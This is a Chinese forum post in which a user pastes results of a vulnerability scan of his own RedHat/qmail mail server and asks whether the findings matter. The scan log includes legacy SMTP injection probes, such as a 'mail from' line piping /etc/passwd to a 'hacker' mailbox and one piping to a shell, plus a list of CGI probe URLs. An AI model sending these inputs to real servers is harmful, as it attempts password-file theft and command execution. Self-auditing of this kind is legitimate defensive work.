这样的邮件服务器安全吗？

andywyz

SMTP检测

检测 SMTP->;220.132.152.xxx 250 Welcome to SasdMAIL.
检测 SMTP->;220.132.152.xxx 检测debug漏洞 502 unimplemented (#5.5.1)
检测 SMTP->;220.132.152.xxx 检测kill漏洞 502 unimplemented (#5.5.1)
检测 SMTP->;220.132.152.xxx 检测wiz漏洞 502 unimplemented (#5.5.1)
检测 SMTP->;220.132.152.xxx 检测rcpt to: /tmp/.rhosts漏洞 503 MAIL first (#5.5.1)
检测 SMTP->;220.132.152.xxx 检测+ +漏洞 502 unimplemented (#5.5.1)
检测 SMTP->;220.132.152.xxx 检测RSET漏洞 250 flushed
检测 SMTP->;220.132.152.xxx 检测mail from: |/bin/mail hacker < /etc/passwd漏洞 250 ok
检测 SMTP->;220.132.152.xxx 检测RSET漏洞 250 flushed
检测 SMTP->;220.132.152.xxx 检测mail from: |tail|sh漏洞 250 ok



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CGI/ASP漏洞

220.132.152.xxx/?PageServices
220.132.152.xxx/?wp-start-ver
220.132.152.xxx/?wp-html-rend
220.132.152.xxx/?wp-cs-dump
220.132.152.xxx/?wp-usr-prop
220.132.152.xxx/?wp-uncheckout
220.132.152.xxx/?wp-stop-ver
220.132.152.xxx/?wp-verify-link
220.132.152.xxx/?wp-ver-diff
220.132.152.xxx/?wp-ver-info
220.132.152.xxx/images/
220.132.152.xxx/manual/

以上是扫描我的邮件服务器的一个结果，我用的是redhat+qmail做的邮件系统，不过我看来以上的这些漏洞好像都没什么大问题，请高手帮我看看